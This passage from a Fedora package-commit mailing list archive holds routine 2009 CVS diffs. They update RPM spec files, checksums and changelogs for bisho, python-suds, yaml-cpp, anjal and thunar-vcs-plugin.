RCS file: /cvs/pkgs/rpms/bisho/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	14 Oct 2009 12:57:10 -0000	1.6
+++ .cvsignore	19 Oct 2009 16:41:25 -0000	1.7
@@ -1 +1 @@
-bisho-0.15.tar.bz2
+bisho-0.16.tar.bz2


Index: bisho.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/F-12/bisho.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- bisho.spec	14 Oct 2009 12:57:10 -0000	1.11
+++ bisho.spec	19 Oct 2009 16:41:25 -0000	1.12
@@ -1,5 +1,5 @@
 Name:           bisho
-Version:        0.15
+Version:        0.16
 Release:        1%{?dist}
 Summary:        Moblin configuration tool for mojito social network aggregator
 
@@ -92,6 +92,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/48x48/apps/bisho.png
 
 %changelog
+* Mon Oct 19 2009 Peter Robinson <pbrobinson at gmail.com> 0.16-1
+- New upstream 0.16 release
+
 * Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.15-1
 - New upstream 0.15 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bisho/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	14 Oct 2009 12:57:10 -0000	1.6
+++ sources	19 Oct 2009 16:41:25 -0000	1.7
@@ -1 +1 @@
-bb28f0ec9d197ad3e5419f1b4bb1ad58  bisho-0.15.tar.bz2
+66e8f193d090918feda1ce537307f4eb  bisho-0.16.tar.bz2



From jortel at fedoraproject.org  Mon Oct 19 16:42:02 2009
From: jortel at fedoraproject.org (Jeff Ortel)
Date: Mon, 19 Oct 2009 16:42:02 +0000 (UTC)
Subject: rpms/python-suds/EL-4 python-suds.spec,1.7,1.8 sources,1.7,1.8
Message-ID: <20091019164202.25CEA11C00DC@cvs1.fedora.phx.redhat.com>

Author: jortel

Update of /cvs/pkgs/rpms/python-suds/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29966/EL-4

Modified Files:
	python-suds.spec sources 
Log Message:
release version 0.3.7



Index: python-suds.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/EL-4/python-suds.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- python-suds.spec	24 Jun 2009 18:10:58 -0000	1.7
+++ python-suds.spec	19 Oct 2009 16:42:01 -0000	1.8
@@ -2,7 +2,7 @@
 
 Summary: A python SOAP client
 Name:  python-suds
-Version: 0.3.6
+Version: 0.3.7
 Release: 1%{?dist}
 Source0: https://fedorahosted.org/releases/s/u/%{name}/%{name}-%{version}.tar.gz
 License: LGPLv3+
@@ -41,16 +41,37 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{python_sitelib}/suds/bindings
 %dir %{python_sitelib}/suds/sax
 %dir %{python_sitelib}/suds/xsd
+%dir %{python_sitelib}/suds/mx
+%dir %{python_sitelib}/suds/umx
 %dir %{python_sitelib}/suds/transport
 %{python_sitelib}/suds/*.py*
 %{python_sitelib}/suds/bindings/*.py*
 %{python_sitelib}/suds/sax/*.py*
 %{python_sitelib}/suds/xsd/*.py*
+%{python_sitelib}/suds/mx/*.py*
+%{python_sitelib}/suds/umx/*.py*
 %{python_sitelib}/suds/transport/*.py*
 
 %doc README LICENSE
 
 %changelog
+* Thu Oct 16 2009 jortel <jortel at redhat.com> - 0.3.7-1
+- Better soap header support
+- Added new transport HttpAuthenticated for active (not passive) basic authentication.
+- New options (prefixes, timeout, retxml)
+- WSDL processing enhancements.
+- Expanded builtin XSD type support.
+- Fixed <xs:iniclude/>
+- Better XML date/datetime conversion.
+- Client.clone() method added for lightweight copy of client object.
+- XSD processing fixes/enhancements.
+- Better <simpleType/> by <xs:restriction/> support.
+- Performance enhancements. 
+- Fixed tickets: #65, #232, #233, #235, #241, #242, #244, #247, #254, #254, #256, #257, #258
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.6-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed May 1 2009 jortel <jortel at redhat.com> - 0.3.6-1
 - Change hard coded /tmp/suds to tempfile.gettempdir() and create suds/ on demand.
 - Fix return type for Any.get_attribute().


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/EL-4/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	24 Jun 2009 18:10:58 -0000	1.7
+++ sources	19 Oct 2009 16:42:01 -0000	1.8
@@ -4,3 +4,4 @@ a4544f1eaaeb3ca0e78180160909ab01  python
 3c704119a5a27542ea5347fc13433b89  python-suds-0.3.4.tar.gz
 2fc4bbbb2351b24e707eac8434d5cb73  python-suds-0.3.5.tar.gz
 320b2f8816aca6445b31441eb201e95b  python-suds-0.3.6.tar.gz
+687a1287e5e86da42d1b161f29d58886  python-suds-0.3.7.tar.gz



From jortel at fedoraproject.org  Mon Oct 19 16:42:02 2009
From: jortel at fedoraproject.org (Jeff Ortel)
Date: Mon, 19 Oct 2009 16:42:02 +0000 (UTC)
Subject: rpms/python-suds/EL-5 python-suds.spec,1.6,1.7 sources,1.7,1.8
Message-ID: <20091019164202.BCAB111C00DC@cvs1.fedora.phx.redhat.com>

Author: jortel

Update of /cvs/pkgs/rpms/python-suds/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29966/EL-5

Modified Files:
	python-suds.spec sources 
Log Message:
release version 0.3.7



Index: python-suds.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/EL-5/python-suds.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- python-suds.spec	24 Jun 2009 18:10:58 -0000	1.6
+++ python-suds.spec	19 Oct 2009 16:42:01 -0000	1.7
@@ -2,7 +2,7 @@
 
 Summary: A python SOAP client
 Name:  python-suds
-Version: 0.3.6
+Version: 0.3.7
 Release: 1%{?dist}
 Source0: https://fedorahosted.org/releases/s/u/%{name}/%{name}-%{version}.tar.gz
 License: LGPLv3+
@@ -41,16 +41,37 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{python_sitelib}/suds/bindings
 %dir %{python_sitelib}/suds/sax
 %dir %{python_sitelib}/suds/xsd
+%dir %{python_sitelib}/suds/mx
+%dir %{python_sitelib}/suds/umx
 %dir %{python_sitelib}/suds/transport
 %{python_sitelib}/suds/*.py*
 %{python_sitelib}/suds/bindings/*.py*
 %{python_sitelib}/suds/sax/*.py*
 %{python_sitelib}/suds/xsd/*.py*
+%{python_sitelib}/suds/mx/*.py*
+%{python_sitelib}/suds/umx/*.py*
 %{python_sitelib}/suds/transport/*.py*
 
 %doc README LICENSE
 
 %changelog
+* Thu Oct 16 2009 jortel <jortel at redhat.com> - 0.3.7-1
+- Better soap header support
+- Added new transport HttpAuthenticated for active (not passive) basic authentication.
+- New options (prefixes, timeout, retxml)
+- WSDL processing enhancements.
+- Expanded builtin XSD type support.
+- Fixed <xs:iniclude/>
+- Better XML date/datetime conversion.
+- Client.clone() method added for lightweight copy of client object.
+- XSD processing fixes/enhancements.
+- Better <simpleType/> by <xs:restriction/> support.
+- Performance enhancements. 
+- Fixed tickets: #65, #232, #233, #235, #241, #242, #244, #247, #254, #254, #256, #257, #258
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.6-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed May 1 2009 jortel <jortel at redhat.com> - 0.3.6-1
 - Change hard coded /tmp/suds to tempfile.gettempdir() and create suds/ on demand.
 - Fix return type for Any.get_attribute().


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/EL-5/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	24 Jun 2009 18:10:59 -0000	1.7
+++ sources	19 Oct 2009 16:42:01 -0000	1.8
@@ -4,3 +4,4 @@ a4544f1eaaeb3ca0e78180160909ab01  python
 3c704119a5a27542ea5347fc13433b89  python-suds-0.3.4.tar.gz
 2fc4bbbb2351b24e707eac8434d5cb73  python-suds-0.3.5.tar.gz
 320b2f8816aca6445b31441eb201e95b  python-suds-0.3.6.tar.gz
+687a1287e5e86da42d1b161f29d58886  python-suds-0.3.7.tar.gz



From jortel at fedoraproject.org  Mon Oct 19 16:42:04 2009
From: jortel at fedoraproject.org (Jeff Ortel)
Date: Mon, 19 Oct 2009 16:42:04 +0000 (UTC)
Subject: rpms/python-suds/F-11 python-suds.spec,1.11,1.12 sources,1.10,1.11
Message-ID: <20091019164204.1A4B511C00DC@cvs1.fedora.phx.redhat.com>

Author: jortel

Update of /cvs/pkgs/rpms/python-suds/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29966/F-11

Modified Files:
	python-suds.spec sources 
Log Message:
release version 0.3.7



Index: python-suds.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/F-11/python-suds.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- python-suds.spec	15 Jul 2009 15:02:34 -0000	1.11
+++ python-suds.spec	19 Oct 2009 16:42:03 -0000	1.12
@@ -2,7 +2,7 @@
 
 Summary: A python SOAP client
 Name:  python-suds
-Version: 0.3.6
+Version: 0.3.7
 Release: 1%{?dist}
 Source0: https://fedorahosted.org/releases/s/u/%{name}/%{name}-%{version}.tar.gz
 License: LGPLv3+
@@ -41,16 +41,37 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{python_sitelib}/suds/bindings
 %dir %{python_sitelib}/suds/sax
 %dir %{python_sitelib}/suds/xsd
+%dir %{python_sitelib}/suds/mx
+%dir %{python_sitelib}/suds/umx
 %dir %{python_sitelib}/suds/transport
 %{python_sitelib}/suds/*.py*
 %{python_sitelib}/suds/bindings/*.py*
 %{python_sitelib}/suds/sax/*.py*
 %{python_sitelib}/suds/xsd/*.py*
+%{python_sitelib}/suds/mx/*.py*
+%{python_sitelib}/suds/umx/*.py*
 %{python_sitelib}/suds/transport/*.py*
 
 %doc README LICENSE
 
 %changelog
+* Thu Oct 16 2009 jortel <jortel at redhat.com> - 0.3.7-1
+- Better soap header support
+- Added new transport HttpAuthenticated for active (not passive) basic authentication.
+- New options (prefixes, timeout, retxml)
+- WSDL processing enhancements.
+- Expanded builtin XSD type support.
+- Fixed <xs:iniclude/>
+- Better XML date/datetime conversion.
+- Client.clone() method added for lightweight copy of client object.
+- XSD processing fixes/enhancements.
+- Better <simpleType/> by <xs:restriction/> support.
+- Performance enhancements. 
+- Fixed tickets: #65, #232, #233, #235, #241, #242, #244, #247, #254, #254, #256, #257, #258
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.6-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed May 1 2009 jortel <jortel at redhat.com> - 0.3.6-1
 - Change hard coded /tmp/suds to tempfile.gettempdir() and create suds/ on demand.
 - Fix return type for Any.get_attribute().


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	15 Jul 2009 15:02:34 -0000	1.10
+++ sources	19 Oct 2009 16:42:03 -0000	1.11
@@ -4,3 +4,4 @@ a4544f1eaaeb3ca0e78180160909ab01  python
 3c704119a5a27542ea5347fc13433b89  python-suds-0.3.4.tar.gz
 2fc4bbbb2351b24e707eac8434d5cb73  python-suds-0.3.5.tar.gz
 320b2f8816aca6445b31441eb201e95b  python-suds-0.3.6.tar.gz
+687a1287e5e86da42d1b161f29d58886  python-suds-0.3.7.tar.gz



From jortel at fedoraproject.org  Mon Oct 19 16:42:03 2009
From: jortel at fedoraproject.org (Jeff Ortel)
Date: Mon, 19 Oct 2009 16:42:03 +0000 (UTC)
Subject: rpms/python-suds/F-10 python-suds.spec,1.6,1.7 sources,1.7,1.8
Message-ID: <20091019164203.40F9011C00DC@cvs1.fedora.phx.redhat.com>

Author: jortel

Update of /cvs/pkgs/rpms/python-suds/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29966/F-10

Modified Files:
	python-suds.spec sources 
Log Message:
release version 0.3.7



Index: python-suds.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/F-10/python-suds.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- python-suds.spec	24 Jun 2009 18:10:59 -0000	1.6
+++ python-suds.spec	19 Oct 2009 16:42:02 -0000	1.7
@@ -2,7 +2,7 @@
 
 Summary: A python SOAP client
 Name:  python-suds
-Version: 0.3.6
+Version: 0.3.7
 Release: 1%{?dist}
 Source0: https://fedorahosted.org/releases/s/u/%{name}/%{name}-%{version}.tar.gz
 License: LGPLv3+
@@ -41,16 +41,37 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{python_sitelib}/suds/bindings
 %dir %{python_sitelib}/suds/sax
 %dir %{python_sitelib}/suds/xsd
+%dir %{python_sitelib}/suds/mx
+%dir %{python_sitelib}/suds/umx
 %dir %{python_sitelib}/suds/transport
 %{python_sitelib}/suds/*.py*
 %{python_sitelib}/suds/bindings/*.py*
 %{python_sitelib}/suds/sax/*.py*
 %{python_sitelib}/suds/xsd/*.py*
+%{python_sitelib}/suds/mx/*.py*
+%{python_sitelib}/suds/umx/*.py*
 %{python_sitelib}/suds/transport/*.py*
 
 %doc README LICENSE
 
 %changelog
+* Thu Oct 16 2009 jortel <jortel at redhat.com> - 0.3.7-1
+- Better soap header support
+- Added new transport HttpAuthenticated for active (not passive) basic authentication.
+- New options (prefixes, timeout, retxml)
+- WSDL processing enhancements.
+- Expanded builtin XSD type support.
+- Fixed <xs:iniclude/>
+- Better XML date/datetime conversion.
+- Client.clone() method added for lightweight copy of client object.
+- XSD processing fixes/enhancements.
+- Better <simpleType/> by <xs:restriction/> support.
+- Performance enhancements. 
+- Fixed tickets: #65, #232, #233, #235, #241, #242, #244, #247, #254, #254, #256, #257, #258
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.6-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed May 1 2009 jortel <jortel at redhat.com> - 0.3.6-1
 - Change hard coded /tmp/suds to tempfile.gettempdir() and create suds/ on demand.
 - Fix return type for Any.get_attribute().


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-suds/F-10/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	24 Jun 2009 18:10:59 -0000	1.7
+++ sources	19 Oct 2009 16:42:02 -0000	1.8
@@ -4,3 +4,4 @@ a4544f1eaaeb3ca0e78180160909ab01  python
 3c704119a5a27542ea5347fc13433b89  python-suds-0.3.4.tar.gz
 2fc4bbbb2351b24e707eac8434d5cb73  python-suds-0.3.5.tar.gz
 320b2f8816aca6445b31441eb201e95b  python-suds-0.3.6.tar.gz
+687a1287e5e86da42d1b161f29d58886  python-suds-0.3.7.tar.gz



From guidograzioli at fedoraproject.org  Mon Oct 19 16:45:25 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Mon, 19 Oct 2009 16:45:25 +0000 (UTC)
Subject: rpms/yaml-cpp/F-11 import.log, NONE, 1.1 yaml-cpp.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019164525.F2F3811C00DC@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/yaml-cpp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31801/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log yaml-cpp.spec 
Log Message:
* Sat Oct 17 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-2
- Remove duplicate file

* Wed Oct 14 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-1
- Initial packaging




--- NEW FILE import.log ---
yaml-cpp-0_2_2-2_fc11:F-11:yaml-cpp-0.2.2-2.fc11.src.rpm:1255970684


--- NEW FILE yaml-cpp.spec ---
Name:           yaml-cpp
Version:        0.2.2
Release:        2%{?dist}
Summary:        A YAML parser and emitter for C++
Group:          Development/Libraries
License:        MIT 
URL:            http://code.google.com/p/yaml-cpp/
Source0:        http://yaml-cpp.googlecode.com/files/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires:  cmake

%description
yaml-cpp is a YAML parser and emitter in C++ written around the YAML 1.2 spec.


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
License:        MIT
Requires:       %{name} = %{version}-%{release}
Requires:       pkgconfig

%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%prep
%setup -q -c
# Fix eol 
sed -i 's/\r//' license.txt
# Fix cmake config 
sed -i 's/set(CMAKE_CXX_FLAGS "-O2 -Wall -pedantic -Wextra")/set(CMAKE_CXX_FLAGS "-Wall -pedantic -Wextra ${CMAKE_CXX_FLAGS}")/g' CMakeLists.txt


%build
# ask cmake to not strip binaries
%cmake . 
make VERBOSE=1 %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc license.txt
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%{_includedir}/yaml-cpp/
%{_libdir}/*.so
%{_libdir}/pkgconfig/*.pc


%changelog
* Sat Oct 17 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-2
- Remove duplicate file

* Wed Oct 14 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-1
- Initial packaging 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yaml-cpp/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:02:17 -0000	1.1
+++ .cvsignore	19 Oct 2009 16:45:25 -0000	1.2
@@ -0,0 +1 @@
+yaml-cpp-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yaml-cpp/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:02:18 -0000	1.1
+++ sources	19 Oct 2009 16:45:25 -0000	1.2
@@ -0,0 +1 @@
+80863a39b967af3275aa3b88a8c7a12e  yaml-cpp-0.2.2.tar.gz



From pbrobinson at fedoraproject.org  Mon Oct 19 16:48:16 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 19 Oct 2009 16:48:16 +0000 (UTC)
Subject: rpms/anjal/devel .cvsignore, 1.8, 1.9 anjal.spec, 1.10, 1.11 sources,
	1.8, 1.9
Message-ID: <20091019164816.AA08D11C02A1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anjal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv487

Modified Files:
	.cvsignore anjal.spec sources 
Log Message:
- Official upstream 0.1 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	12 Oct 2009 23:08:15 -0000	1.8
+++ .cvsignore	19 Oct 2009 16:48:16 -0000	1.9
@@ -1 +1 @@
-anjal-0.1.0-20091012.tar.bz2
+anjal-0.1.tar.bz2


Index: anjal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/devel/anjal.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- anjal.spec	12 Oct 2009 23:08:15 -0000	1.10
+++ anjal.spec	19 Oct 2009 16:48:16 -0000	1.11
@@ -1,21 +1,12 @@
-# Tarfile created using git
-# git clone git://git.gnome.org/anjal
-# git archive --format=tar --prefix=anjal-0.1.0/ %{git_version} | bzip2 > anjal-0.1.0-%{gitdate}.tar.bz2
-
-%define gitdate 20091012
-%define git_version bf7a3d2
-%define tarfile %{name}-%{version}-%{gitdate}.tar.bz2
-%define snapshot %{gitdate}git%{git_version}
-
 Name:           anjal
-Version:        0.1.0
-Release:        0.13.%{snapshot}%{?dist}
+Version:        0.1
+Release:        1%{?dist}
 Summary:        An email client for small screen devices
 
 Group:          Applications/Productivity
 License:        LGPLv2 or LGPLv3
 URL:            http://live.gnome.org/Anjal/
-Source0:        %{tarfile}
+Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.1/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: anerley-devel
@@ -47,9 +38,6 @@ all the mail backends including POP3, IM
 %prep
 %setup -q
 
-# run autogen.sh until we have a proper release
-NOCONFIGURE=yes ./autogen.sh
-
 %build
 %configure --with-mozilla=no --with-anerley
 make %{?_smp_mflags} V=1
@@ -95,6 +83,9 @@ rm -rf %{buildroot}
 %{_datadir}/gnome-control-center/default-apps/anjal.xml
 
 %changelog
+* Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1-1
+- Official upstream 0.1 release
+
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-0.13
 - New git snapshot, lots of updated translations, nearing first release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anjal/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	12 Oct 2009 23:08:15 -0000	1.8
+++ sources	19 Oct 2009 16:48:16 -0000	1.9
@@ -1 +1 @@
-50694d6c475e90e4a637eafd393ce51a  anjal-0.1.0-20091012.tar.bz2
+50887a7663da8a3ecc6058e4b922efdc  anjal-0.1.tar.bz2



From cwickert at fedoraproject.org  Mon Oct 19 16:50:56 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 16:50:56 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/devel import.log, NONE,
	1.1 thunar-vcs-plugin.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091019165056.0570311C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1146/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log thunar-vcs-plugin.spec 
Log Message:
Initial import of thunar-vcs-plugin. Review at
https://bugzilla.redhat.com/show_bug.cgi?id=529465



--- NEW FILE import.log ---
thunar-vcs-plugin-0_1_0-1_fc12:HEAD:thunar-vcs-plugin-0.1.0-1.fc12.src.rpm:1255971016


--- NEW FILE thunar-vcs-plugin.spec ---
Name:           thunar-vcs-plugin
Version:        0.1.0
Release:        1%{?dist}
Summary:        SVN intergration for the Thunar filemanager

Group:          User Interface/Desktops
License:        GPLv2+
URL:            http://goodies.xfce.org/projects/thunar-plugins/%{name}
Source0:        http://archive.xfce.org/src/thunar-plugins/%{name}/0.1/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  Thunar-devel >= 0.4.0
BuildRequires:  subversion-devel >= 1.5
BuildRequires:  apr-devel >= 0.9.7
BuildRequires:  e2fsprogs-devel
BuildRequires:  uuid-devel
%if 0%{?fedora} >= 12
BuildRequires:  libuuid-devel
%endif
BuildRequires:  gettext, intltool
Requires:       Thunar >= 1.0.0
Requires:       subversion
# Obsolete thunar-svn-plugin for smooth upgrades
Provides:       thunar-svn-plugin = %{version}-%{release}
Obsoletes:      thunar-svn-plugin < 0.0.4-1

%description
The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
This gives a SVN integration integration to Thunar. The current features are:
* Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
  export, import, lock, log, move, properties, relocate, resolved, revert, 
  status, switch, unlock and update.
* Subversion info in file properties dialog.

This project was formerly known as Thunar SVN Plugin.

%prep
%setup -q


%build
%configure --disable-static
# remove rpath
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove libtool archive
rm $RPM_BUILD_ROOT%{_libdir}/thunarx-1/%{name}.la
%find_lang %{name}


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi


%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING ChangeLog NEWS README
%{_libdir}/thunarx-1/%{name}.so
%{_libexecdir}/tvp-svn-helper
%{_datadir}/icons/hicolor/*/apps/subversion.png


%changelog
* Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
- Initial Fedora package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:57:59 -0000	1.1
+++ .cvsignore	19 Oct 2009 16:50:55 -0000	1.2
@@ -0,0 +1 @@
+thunar-vcs-plugin-0.1.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:57:59 -0000	1.1
+++ sources	19 Oct 2009 16:50:55 -0000	1.2
@@ -0,0 +1 @@
+90d1f2d414c2b4b8bf211a8a6b13b358  thunar-vcs-plugin-0.1.0.tar.bz2



From cwickert at fedoraproject.org  Mon Oct 19 16:52:29 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 16:52:29 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/devel thunar-vcs-plugin.spec,1.1,1.2
Message-ID: <20091019165229.03BB611C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1672

Modified Files:
	thunar-vcs-plugin.spec 
Log Message:
add review # and fix typo


Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/devel/thunar-vcs-plugin.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- thunar-vcs-plugin.spec	19 Oct 2009 16:50:55 -0000	1.1
+++ thunar-vcs-plugin.spec	19 Oct 2009 16:52:28 -0000	1.2
@@ -1,7 +1,9 @@
+# Review: https://bugzilla.redhat.com/show_bug.cgi?id=529465
+
 Name:           thunar-vcs-plugin
 Version:        0.1.0
 Release:        1%{?dist}
-Summary:        SVN intergration for the Thunar filemanager
+Summary:        SVN integration for the Thunar filemanager
 
 Group:          User Interface/Desktops
 License:        GPLv2+



From cwickert at fedoraproject.org  Mon Oct 19 16:53:42 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 16:53:42 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-10 thunar-vcs-plugin.spec,NONE,1.1
Message-ID: <20091019165342.77A2F11C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1920/F-10

Added Files:
	thunar-vcs-plugin.spec 
Log Message:
initial build of thunar-vcs-plugin for this branch


--- NEW FILE thunar-vcs-plugin.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=529465

Name:           thunar-vcs-plugin
Version:        0.1.0
Release:        1%{?dist}
Summary:        SVN integration for the Thunar filemanager

Group:          User Interface/Desktops
License:        GPLv2+
URL:            http://goodies.xfce.org/projects/thunar-plugins/%{name}
Source0:        http://archive.xfce.org/src/thunar-plugins/%{name}/0.1/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  Thunar-devel >= 0.4.0
BuildRequires:  subversion-devel >= 1.5
BuildRequires:  apr-devel >= 0.9.7
BuildRequires:  e2fsprogs-devel
BuildRequires:  uuid-devel
%if 0%{?fedora} >= 12
BuildRequires:  libuuid-devel
%endif
BuildRequires:  gettext, intltool
Requires:       Thunar >= 1.0.0
Requires:       subversion
# Obsolete thunar-svn-plugin for smooth upgrades
Provides:       thunar-svn-plugin = %{version}-%{release}
Obsoletes:      thunar-svn-plugin < 0.0.4-1

%description
The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
This gives a SVN integration integration to Thunar. The current features are:
